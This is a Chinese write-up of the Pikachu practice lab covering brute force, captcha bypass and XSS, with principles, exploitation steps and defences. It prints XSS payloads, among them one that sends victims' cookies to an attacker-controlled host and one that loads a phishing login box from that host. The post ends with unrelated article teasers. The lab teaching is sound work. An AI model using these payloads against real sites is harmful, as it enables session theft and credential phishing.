pikachu靶场总结(一)
最近看到好多人还在打这个靶机所以把以前写的总结放上来了,主要是皮卡丘靶场漏洞的原理,利用方式,防护方法简略总结,纯手敲记录,总结如果不到位请评论区留言!
一、暴力破解
1.基于表单的暴力破解
原理:由于没有对登录进行任何的限制,导致我们可以不断地通过字典来进行尝试破解密码,导致漏洞形成!
利用方式:通过bp抓包,然后使用爆破模块设置合适的payload进行尝试破解密码即可!
防护方法:采用合适的防爆破机制,例如验证码,人脸识别,短信验证等机制!
2.验证码(服务器端)
原理:验证码是我们非常常见的一种用来防止暴力破解的一种手段,但是并不是所有的验证码都具备防暴力破解的能力的,比如现在要说的这种情况就是,当我们的验证码被提交到后台进行验证以后,应该立刻被销毁掉,或者说应该马上过期,只能用一次,开发者尤其是使用PHP开发时,如果不进行专门的设置的话,是默认不过期的,会导致一码多用的情况产生,也就是说一个验证码可以一直使用,永不过期,这样就会形成漏洞!
利用方式:我们使用bp将包截断后,由于这个包所附带的正确验证码在后台永远都不会过期,所以我们用这个包进行爆破就可以成功绕过验证码,从而形成暴力破解攻击,造成危害!
防护方式:一定要将后台验证码进行验证过后的过期处理,这样才能有效防止暴力破解攻击!
3.验证码(基于用户的)
原理:这个和上面的正好相反,因为他是由于开发者只在前端页面做了验证码校验,并没有在后台进行验证码的核对,那么我们只要把前端填写验证码的这个过程绕过就可以实现爆破了!
利用方式:我们直接随便抓取一个包,从代理服务器向目标服务器发送请求包即可,这样就绕过了前端的验证码校验!
防护方式:不能简单地只通过前端来进行验证,一定要保证服务器后台也要进行验证,两道关卡缺一不可,否则对于一些黑客就是形同虚设!
4.token防绕过?
原理:一些开发者会在设置一个隐藏的token值,然后在用户每次提交数据时,将这个值带到session中提交到后台,后台对这个token值进行检查。token值每次提交都会发生改变,所以可以起到防止暴力破解的作用!
二、XSS
形成原因:往往是由于程序对输入输出的控制不够严格,导致攻击者精心构造的恶意脚本输出到前端时被浏览器当作有效代码执行导致的!
测试流程:
1.首先我们拿到一个站点后先找输入点,比如注册信息,留言板这种的,
2.不要急于拿xss的payload进行尝试,我们可以首先进行一些特殊字符串的尝试,比如>‘ 这种,然后观察返回的源码是否对这些特殊字符做了转义或者过滤,
3.找到唯一字符,然后观察前后语句是否可以构造脚本进行攻击(构造闭合)
4.最后我们通过精心构造脚本来对目标站点进行攻击。
1.反射型xss
原理:反射型xss又分为post和get两种类型,他们都是由于没有对特殊的字符没有进行过滤或者转义等处理,导致用户提交的恶意脚本被浏览器执行从而引发危害。无非是提交数据的方式不同,get型是可以通过url来进行提交数据,而post型是通过表单来提交!
利用方式:其中get型的xss最容易利用,小王将一个有xss漏洞的站点插入恶意脚本,并精心构造一个url发送给小张,诱骗小张点击这个url,一旦小张点击了这个url就会对小张造成xss攻击,比如窃取小张的cookie等!
防护方式:从开发者角度来说应该对用户的输入输出进行严格的过滤或者转义,从而避免产生xss漏洞;从用户的角度来说就是我们要提高防范意识,不要轻易地点击陌生的url,保护我们的信息安全!
2.存储型xss
存储型xss和上面所说的原理基本一致,只是攻击者构造的恶意脚本被提交到后台并且保存下来了,而且会将数据库里的内容再次输出到页面当中,这样就形成了漏洞,因为一旦攻击者将恶意脚本上传到服务器后台,其他访问这个页面的用户都会加载那段恶意代码,造成攻击,所以存储型xss漏洞的危害要更大!
3.DOM型xss
原理:首先我们需要知道DOM是个什么东西,这个就需要我们对前端有一个大致的了解,在前端中我们通过各种各样的标签来编写html代码,然后DOM其实又叫DOM树,简单理解就是前端人员通过js代码来操作html标签的这么一个接口,简单的从代码角度来呈现出来就是我们会在前端代码中看到通过js来操作一些数据等,这种方式不经过后台服务器,然后前端人员又没有对特殊字符进行控制,导致用户输入的一些恶意代码可能会被浏览器解析和执行,从而形成漏洞!
利用:其实涉及到当这个页面用get来进行传参的时候,他其实就成了一种手法不一样但是利用方法跟反射型xss一样的一种情况了,我们将链接发送给被害人,然后将里面的链接设计的足够具有诱惑性,诱导受害者进行点击,从而达成攻击!
1.1.利用XSS获取cookie
了解了前面的内容以后我们实战一下,如果我们把之前反射型的payload换成 <script>alert(document.cookie)</script> 的话,那我们弹窗就会得到一个cookie值,那我们现在搭建一个后台用来获取这个cookie而不是让他弹窗,这样当受害者点击我们的连接时,脚本就会被执行,受害者的cookie会就被提交到我们的后台,从而完成这次窃取cookie的攻击!举一个payload为例:
<script>document.location = 'http://192.168.6.141/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
2.1.XSS钓鱼
存储型xss的站点,比如攻击者插入一个登录框弹出界面给用户,一旦用户输入账号密码之后,账号密码就会提交到攻击者的后台造成密码泄露
payload举例:<script src="http://192.168.6.141/pikachu/pkxss/xfish/fish.php"></script>
这个地址就是我们攻击者精心构造的一个登录框,每次有用户进入打开这个页面的时候,就会弹出一个对话框让你输入账号密码,如果用户的信息安全意识薄弱的话就中招了!这个登录框会把数据提交到攻击者的后台!
3.1xss获取键盘记录
跨域:首先我们先了解一个概念,就是跨域,跨域指的是跨越不同的域进行请求数据的操作。不同的域指的是两个域的协议,主机(主域名和子域名),端口号有不相同的就叫做不同域!
同源策略:浏览器会执行同源策略,也就是不允许我们通过js去操控不同域,如果硬要进行,需要管理员进行特殊的配置才可以!但是下面这些标签可以跨域加载资源!
< script src= "..." >//js加载到本地执行
<img src= "..."> //图片
<link href= "..."> //css
<iframe src= "..."> //任意资源
这里涉及到攻击者需要将自己的站点设置成允许其他人跨域请求他的站点才可以实现将读取受害者键盘记录的js代码加载到受害者访问的站点在本地执行
4.XSS盲打
关于这个的原理其实和我们上面的原理是一样的,都是没有对js代码做过滤和限制,只是表现形式不同罢了,一般是对后台管理员进行攻击,这种页面在我们输入内容后并不会在用户的前端页面显示内容,但是他提交到后台被存储下来以后当管理员登录后台时读取数据库之后代码被执行,导致管理员被×到也是很危险的,比如泄露管理员的cookie等信息,所以这个其实本质上还是存储型的XSS!
5.XSS绕过
绕过其实就是跟前面的情况有所不同了,前面我们说开发者几乎没有对我们的js代码进行转义或者过滤,所以我们可以很轻松的进行攻击,但是如果开发者做了一些安全措施来过滤我们的js代码,那么这样的话我们还能×到别人吗?
答案是有可能,因为如果开发者做的措施不够周到或者说全面,甚至使用了错误的防范措施,那么我们还是可以采取办法进行绕过开发者的防护的!
比如说如果开发者对我们的js标签进行了过滤,那我们可以尝试大小写,或者添加注释等或者说将代码转换成其他编码格式去尝试进行绕过,这种就需要我们对前端技术有深入的了解并且对目标足够熟悉,进而通过手段来绕过!
6.htmlspecialchars()
这个方法是用来把预定义的字符转换为html实体的,& ‘ “ < > 这些他都会做一个转换,但是他有三个参数:1.只编码双引号,2.单双引号都编码,3.两种引号都不编码
这个时候漏洞就来了,如果开发者采用了第一种默认的或者第三种,那么就有可能会被一些攻击者绕过,造成xss漏洞!
防护:我们应该将参数设置为第二种才比较安全!
7.xss防范措施和原理,herf , js
过滤:针对业务需求,只让有需要的符号进行输入,其他的一律都不可以!
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html转义,输入到js里面进行js转义!
herf:在herf中进行输出,我们一是要对其进行html转义,二是只允许http,https !
比如我们可以这样构造payload:<a href=' javascript:alert(xni) '> ,这样就不包含被转移的那些符号!
js:如果输出点是在js代码中,那么就不能用html转义,因为这样会不符合前端预期,而应该使用 \ 进行js转义!
举个栗子:<script>
$ms='';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script> payload: </script><script>alert(xni)</script>
比如这段代码,我们就只需要将前面的<script>标签闭合掉,然后重新构造一个自己的标签即可!
所以xss针对不同的输出点进行的防范措施是不同的!这就需要我们多进行积累了,才能掌握更多的防护措施!
相关文章:

pikachu靶场总结(一)
最近看到好多人还在打这个靶机所以把以前写的总结放上来了,主要是皮卡丘靶场漏洞的原理,利用方式,防护方法简略总结,纯手敲记录,总结如果不到位请评论区留言! 一、暴力破解 1.基于表单的暴力破解 原理&a…...

No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
引言 在当今数字化时代,网络安全已成为每个人都应该关注的重要话题。本文将总结一次关于网络安全攻防技术的学习内容,涵盖PC端和移动端的恶意程序利用,以及强大的渗透测试工具Cobalt Strike的使用。通过学习这些内容,我们不仅能够了解攻击者的手法,更能提高自身的安全意识和防…...

QD1-P8 HTML格式化标签
本节学习:HTML 格式化标签。 本节视频 www.bilibili.com/video/BV1n64y1U7oj?p8 一、font 标签 用途:定义文本的字体大小、颜色和 face(字体类型)。 示例 <!DOCTYPE html> <html><head><meta cha…...

WordPress修改固定链接后301的重定向方法
网站改版实际上是很忌讳的,尤其是针对已被搜索引擎收录的网站,新站不用考虑这些问题,而已经收录的网站网页在不遵守搜索引擎规则的前提下,是会被降权,关键词排名下滑、流量IP会被剥夺、收录会减少 、业务成交量会急剧下…...

关于Allegro导出Gerber时的槽孔问题
注意点一: 如果设计的板子中有 槽孔和通孔(俗称圆孔),不仅要NC Drill, 还要 NC Route allegro导出的槽孔文件后缀是 .rou 圆型孔后缀 是 .drl ,出gerber时需要看下是否有该文件。 注意点二: 导出钻孔文件时,设置参…...

平时使用的正则总结
1、将某一个字符串的后缀名后面加上“!400_500” 使用场景是将minio拿过来的图片压缩尺寸从而压缩其大小,加快渲染的速度。需要在图片的后缀名后面加上尺寸如下: const str //storage-test.test.shiqiao.com/gateway/common/isopen/2024/10/09/e708e9…...

[万字解析]从零开始使用transformers微调huggingface格式的中文Bert模型的过程以及可能出现的问题
系列文章目录 使用transformers中的pipeline调用huggingface中模型过程中可能遇到的问题和修改建议 [万字解析]从零开始使用transformers微调huggingface格式的中文Bert模型的过程以及可能出现的问题 文章目录 系列文章目录前言模型与数据集下载模型下载数据集下载 数据加载、…...

K8s简介及环境搭建
一、Kubernetes简介 kubernetes 的本质是一组服务器集群,它可以在集群的每个节点上运行特定的程序,来对节点中的容器进行管理。目的是实现资源管理的自动化,主要提供了如下的主要功能: 自我修复:一旦某一个容器崩溃&a…...

Python对PDF文件页面的旋转和切割
Python对PDF文件页面的旋转和切割 利用Python的.rotate()方法和.mediabox属性对PDF页面进行旋转和切割,最终生成一个PDF。下面结合案例进行说明,本示例中的名为split_and_rotate.pdf文件在practice_files文件夹中, 示例(1&#…...

Android 10.0 修改Systemui三键导航栏虚拟按键颜色功能实现
1.前言 在10.0的系统ROM定制化开发中,在对systemui的相关定制化开发中,在某些产品中,需要修改相关的 导航栏三键导航的虚拟按键的颜色,修改掉原来默认的虚拟按键的黑白色,接下来就来实现相关的功能 2.修改Systemui三键导航栏虚拟按键颜色功能实现的核心类 frameworks\ba…...

『网络游戏』客户端使用PESorket发送消息到服务器【14】
上一章服务器已经完成使用PESorket 现在我们将其导出在客户端中使用 生成成功后复制 粘贴到Unity项目中 进入Assets文件夹 粘贴两个.dll 创建脚本:ClientSession.cs 编写脚本: ClientSession.cs 编写脚本:GameStart.cs 将GameStart.cs脚本绑定在摄像机上 运行服务器 运行客户端…...

JVM(学习预热 - 走进Java)(持续更新迭代)
目录 一、彻底认识Java虚拟机 开创世纪:Sun Classic 开创世纪:Exact VM 武林霸主:HotSpot VM 移动端虚拟机:Mobile/Embedded VM “三大”其二:BEA JRockit/IBM J9 VM 软硬结合:BEA Liquid VM/Azul VM…...

43 C 程序动态内存分配:内存区域划分、void 指针、内存分配相关函数(malloc、calloc、realloc、_msize、free)、内存泄漏
目录 1 C 程序内存区域划分 1.1 代码区 (Code Section) 1.2 全局/静态区 (Global/Static Section) 1.3 栈区 (Stack Section) 1.4 堆区 (Heap Section) 1.5 动态内存分配 2 void 指针(无类型指针) 2.1 void 指针介绍 2.2 void 指针的作用 2.3 …...

编译链接的过程发生了什么?
一:程序的翻译环境和执行环境 在 ANSI C 的任何一种实现中,存在两个不同的环境。 第 1 种是翻译环境,在这个环境中源代码被转换为可执行的机器指令。 第 2 种是执行环境,它用于实际执行代码 也就是说:↓ 1࿱…...

【D3.js in Action 3 精译_028】3.4 小节 DIY 实战:使用 Observable 在线绘制 D3 条形图
当前内容所在位置(可进入专栏查看其他译好的章节内容) 第一部分 D3.js 基础知识 第一章 D3.js 简介(已完结) 1.1 何为 D3.js?1.2 D3 生态系统——入门须知1.3 数据可视化最佳实践(上)1.3 数据可…...

【Linux】 TCP短服务编写和守护进程
文章目录 TCP 短服务编写流程进程组和会话和守护进程 TCP 短服务编写流程 TCP服务器是面向连接的,客户端在发送数据之前需要先与服务器建立连接。 因此,TCP服务器需要能够监听客户端的连接请求。为了实现这一功能,需要将TCP服务器创建的套接字…...

自学数据库-MYSQL
自学数据库-MYSQL 一.表和视图1.表1.1 表创建1.2 索引1.2.1 这里是废话,不感兴趣的可以直接更具目录的跳过这里的内容1.2.1.1 索引是什么1.2.1.2 相关数据结构:二叉树、红黑树、B-Tree、BTree、Hash…①普通索引②唯一索引③全文索引④组合索引 1.3 表数据操作(更新…...

机器学习——多模态学习
多模态学习:机器学习领域的新视野 引言 多模态学习(Multimodal Learning)是机器学习中的一个前沿领域,它涉及处理和整合来自多个数据模式(如图像、文本、音频等)的信息。随着深度学习的蓬勃发展࿰…...

ceph掉电后无法启动osd,pgs unknown
处理办法: 只有1个osd,单副本,掉电损坏osd,只能考虑重建pg,丢失部分数据了。生产环境务必考虑2,3副本设计。避免掉电故障风险。 掉电后osdmap丢失无法启动osd的解决方案 - 武汉-磨渣 - 博客园 https://zhuanlan.zhih…...

HTML5实现古典音乐网站源码模板1
文章目录 1.设计来源1.1 网站首页1.2 古典音乐界面1.3 著名人物界面1.4 古典乐器界面1.5 历史起源界面2.效果和源码2.1 动态效果2.2 源代码源码下载万套模板,程序开发,在线开发,在线沟通作者:xcLeigh 文章地址:https://blog.csdn.net/weixin_43151418/article/details/142…...

快速生成单元测试
1. Squaretest插件 2. 依赖 <dependency><groupId>junit</groupId>...

WebGL系列教程十一(光照原理及Blinn Phong着色模型)
快速导航(持续更新中) WebGL系列教程一(开篇) WebGL系列教程二(环境搭建及着色器初始化) WebGL系列教程三(使用缓冲区绘制三角形) WebGL系列教程四(绘制彩色三角形&…...

《ASP.NET Web Forms 实现短视频点赞功能的完整示例》
在现代Web开发中,实现一个动态的点赞功能是非常常见的需求。本文将详细介绍如何在ASP.NET Web Forms中实现一个视频点赞功能,包括前端页面的展示和后端的处理逻辑。我们将确保点赞数量能够实时更新,而无需刷新整个页面。 技术栈 ASP.NET We…...

Linux SSH服务
Linux SSH(Secure Shell)服务是一种安全的远程登录协议,用于在Linux操作系统上远程登录和执行命令。它提供了加密的通信通道,可以在不安全的网络环境中安全地进行远程访问。 SSH服务在Linux系统中通常使用OpenSSH软件包来实现。它…...

MySQL--视图(详解)
目录 一、前言二、视图2.1概念2.2语法2.3创建视图2.3.1目的 2.4查看视图2.5修改数据2.5.1通过真实表修改数据,会影响视图2.5.2通过修改视图,会影响基表 2.6注意2.7 删除视图2.8 视图的优点 一、前言 欢迎大家来到权权的博客~欢迎大家对我的博客进行指导&…...

Javascript 普通非async函数调用async函数
假设我们有一个异步函数 async function asyncFunction() {console.log("开始执行异步函数");await new Promise(resolve > setTimeout(resolve, 1000)); // 模拟异步操作console.log("异步函数执行完毕"); } 我们在调用这个异步函数时,比…...

【LeetCode】修炼之路-0004-Median of Two Sorted Arrays【python】
题目 Given two sorted arrays nums1 and nums2 of size m and n respectively, return the median of the two sorted arrays. The overall run time complexity should be O(log (mn)). Example 1: Input: nums1 [1,3], nums2 [2] Output: 2.00000 Explanation: merged…...

C++面试速通宝典——10
177. #include <filename> 和 #include "filname.h" 有什么区别? 对于 #include <filename> , 编译器从标准库路径开始搜索 filename.h。 对于 #include "filename.h,编译器从用户的工作…...

肺腺癌预后新指标:全切片图像中三级淋巴结构密度的自动化量化|文献精析·24-10-09
小罗碎碎念 本期这篇文章,我去年分享过一次。当时发表在知乎上,没有标记参考文献,配图的清晰度也不够,并且分析的还不透彻,所以趁着国庆假期重新分析一下。 这篇文章的标题为《Computerized tertiary lymphoid structu…...

基于jmeter+perfmon的稳定性测试记录
1. 引子 最近承接了项目中一些性能测试的任务,因此决定记录一下,将测试的过程和一些心得收录下来。 说起来性能测试算是软件测试行业内,有些特殊的部分。这部分的测试活动,与传统的测试任务差别是比较大的,也比较依赖…...